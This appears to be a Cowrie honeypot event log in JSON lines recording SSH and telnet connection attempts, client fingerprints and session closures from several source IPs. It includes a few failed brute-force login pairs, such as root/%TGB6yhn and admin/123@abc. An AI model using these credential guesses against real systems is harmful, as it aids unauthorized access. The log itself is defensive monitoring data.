{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:27.500285Z","src_ip":"68.183.236.1","session":"cdbbcc8618ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":48586,"dst_ip":"10.17.0.5","dst_port":23,"session":"5682caa4e1a4","protocol":"telnet","message":"New connection: 149.56.25.198:48586 (10.17.0.5:23) [session: 5682caa4e1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:36.046946Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"e64d2d68af04","protocol":"telnet","message":"New connection: 149.56.25.198:48600 (10.17.0.5:23) [session: e64d2d68af04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:41.044837Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":48608,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa25e8ef08ee","protocol":"telnet","message":"New connection: 149.56.25.198:48608 (10.17.0.5:23) [session: fa25e8ef08ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:43.039996Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":48622,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8c01170a9d","protocol":"telnet","message":"New connection: 149.56.25.198:48622 (10.17.0.5:23) [session: 5b8c01170a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:45.050586Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":45948,"dst_ip":"10.17.0.5","dst_port":23,"session":"379c2e35e692","protocol":"telnet","message":"New connection: 149.56.25.198:45948 (10.17.0.5:23) [session: 379c2e35e692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:51.044475Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":45954,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a292b635de","protocol":"telnet","message":"New connection: 149.56.25.198:45954 (10.17.0.5:23) [session: e2a292b635de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:55.081169Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50060,"dst_ip":"159.203.135.109","dst_port":22,"session":"03548235b2fb","protocol":"ssh","message":"New connection: 159.203.92.129:50060 (159.203.135.109:22) [session: 03548235b2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:55.267308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:55.274112Z","src_ip":"159.203.92.129","session":"03548235b2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:55.277908Z","src_ip":"159.203.92.129","session":"03548235b2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@123a","message":"login attempt [admin/123@123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:55.289780Z","src_ip":"159.203.92.129","session":"03548235b2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":50902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c110c60abb2","protocol":"telnet","message":"New connection: 149.56.25.198:50902 (10.17.0.5:23) [session: 9c110c60abb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:56.071942Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:56.295870Z","src_ip":"159.203.92.129","session":"03548235b2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":50912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6143594f2a09","protocol":"telnet","message":"New connection: 149.56.25.198:50912 (10.17.0.5:23) [session: 6143594f2a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:11:57.036779Z"}
{"eventid":"cowrie.session.closed","duration":120.00642728805542,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:01.148438Z","src_ip":"176.29.26.223","session":"abe94681a10e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":29476,"dst_ip":"159.203.135.109","dst_port":23,"session":"769154a1e151","protocol":"telnet","message":"New connection: 176.29.26.223:29476 (159.203.135.109:23) [session: 769154a1e151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:01.507296Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28703,"dst_ip":"159.203.135.109","dst_port":23,"session":"2538bf2c4105","protocol":"telnet","message":"New connection: 176.29.26.223:28703 (159.203.135.109:23) [session: 2538bf2c4105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:02.750667Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":38822,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f0b8aa9b9a","protocol":"ssh","message":"New connection: 165.154.5.148:38822 (10.17.0.5:22) [session: d0f0b8aa9b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:04.058888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:04.066929Z","src_ip":"165.154.5.148","session":"d0f0b8aa9b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:04.283797Z","src_ip":"165.154.5.148","session":"d0f0b8aa9b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"%TGB6yhn","message":"login attempt [root/%TGB6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:05.181531Z","src_ip":"165.154.5.148","session":"d0f0b8aa9b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":27895,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0f79b054b0","protocol":"telnet","message":"New connection: 176.29.26.223:27895 (159.203.135.109:23) [session: ca0f79b054b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:05.978042Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:06.409105Z","src_ip":"165.154.5.148","session":"d0f0b8aa9b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.964745044708252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:07.011594Z","src_ip":"149.56.25.198","session":"5682caa4e1a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52410,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2cf2538e99","protocol":"telnet","message":"New connection: 149.56.25.198:52410 (10.17.0.5:23) [session: 0c2cf2538e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:07.037846Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6c6e0aa47e","protocol":"telnet","message":"New connection: 149.56.25.198:52422 (10.17.0.5:23) [session: de6c6e0aa47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:07.052835Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52430,"dst_ip":"10.17.0.5","dst_port":23,"session":"d850f8b93f3b","protocol":"telnet","message":"New connection: 149.56.25.198:52430 (10.17.0.5:23) [session: d850f8b93f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:08.071678Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52434,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b741570c01","protocol":"telnet","message":"New connection: 149.56.25.198:52434 (10.17.0.5:23) [session: d5b741570c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:08.698935Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":52436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cdb855d5d2","protocol":"telnet","message":"New connection: 149.56.25.198:52436 (10.17.0.5:23) [session: c9cdb855d5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:08.820193Z"}
{"eventid":"cowrie.session.closed","duration":30.974022150039673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:12.018777Z","src_ip":"149.56.25.198","session":"e64d2d68af04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9857075214386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:14.025582Z","src_ip":"149.56.25.198","session":"fa25e8ef08ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97405242919922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:16.024531Z","src_ip":"149.56.25.198","session":"5b8c01170a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41364,"dst_ip":"10.17.0.5","dst_port":23,"session":"897e9dec9d5b","protocol":"telnet","message":"New connection: 149.56.25.198:41364 (10.17.0.5:23) [session: 897e9dec9d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:16.825299Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ffbbca500a","protocol":"telnet","message":"New connection: 149.56.25.198:41366 (10.17.0.5:23) [session: 52ffbbca500a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:19.071227Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41380,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e9aa0e38a6","protocol":"telnet","message":"New connection: 149.56.25.198:41380 (10.17.0.5:23) [session: a6e9aa0e38a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:19.874784Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41386,"dst_ip":"10.17.0.5","dst_port":23,"session":"951cb7a5149e","protocol":"telnet","message":"New connection: 149.56.25.198:41386 (10.17.0.5:23) [session: 951cb7a5149e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:21.062234Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b968b1f0490","protocol":"telnet","message":"New connection: 149.56.25.198:41398 (10.17.0.5:23) [session: 2b968b1f0490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:21.690492Z"}
{"eventid":"cowrie.session.closed","duration":30.97576355934143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:22.020134Z","src_ip":"149.56.25.198","session":"379c2e35e692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8816e4dc9d9","protocol":"ssh","message":"New connection: 68.183.236.1:33520 (10.17.0.5:22) [session: b8816e4dc9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:23.575850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:23.582294Z","src_ip":"68.183.236.1","session":"b8816e4dc9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:23.839240Z","src_ip":"68.183.236.1","session":"b8816e4dc9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":41400,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e740a849a7d","protocol":"telnet","message":"New connection: 149.56.25.198:41400 (10.17.0.5:23) [session: 5e740a849a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:24.769562Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Welcome@123","message":"login attempt [test1/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:24.856733Z","src_ip":"68.183.236.1","session":"b8816e4dc9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.944919109344482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:26.025939Z","src_ip":"149.56.25.198","session":"e2a292b635de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:26.107604Z","src_ip":"68.183.236.1","session":"b8816e4dc9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95507788658142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:27.026912Z","src_ip":"149.56.25.198","session":"9c110c60abb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979719161987305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:28.016404Z","src_ip":"149.56.25.198","session":"6143594f2a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":59580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74b581d7481","protocol":"telnet","message":"New connection: 149.56.25.198:59580 (10.17.0.5:23) [session: e74b581d7481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:30.053991Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":59584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b0ddf47995","protocol":"telnet","message":"New connection: 149.56.25.198:59584 (10.17.0.5:23) [session: f8b0ddf47995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:34.064847Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa3935da886","protocol":"telnet","message":"New connection: 149.56.25.198:40184 (10.17.0.5:23) [session: 4fa3935da886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:37.057733Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42990,"dst_ip":"159.203.135.109","dst_port":22,"session":"6125d3bcaa91","protocol":"ssh","message":"New connection: 159.203.92.129:42990 (159.203.135.109:22) [session: 6125d3bcaa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:37.193280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:37.207378Z","src_ip":"159.203.92.129","session":"6125d3bcaa91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:37.212373Z","src_ip":"159.203.92.129","session":"6125d3bcaa91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@abc","message":"login attempt [admin/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:37.224614Z","src_ip":"159.203.92.129","session":"6125d3bcaa91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.964736938476562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:38.017426Z","src_ip":"149.56.25.198","session":"de6c6e0aa47e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989543437957764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:38.027262Z","src_ip":"149.56.25.198","session":"0c2cf2538e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:38.231788Z","src_ip":"159.203.92.129","session":"6125d3bcaa91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.317988395690918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:12:39.016829Z","src_ip":"149.56.25.198","session":"d5b741570c01","protocol":"telnet"}
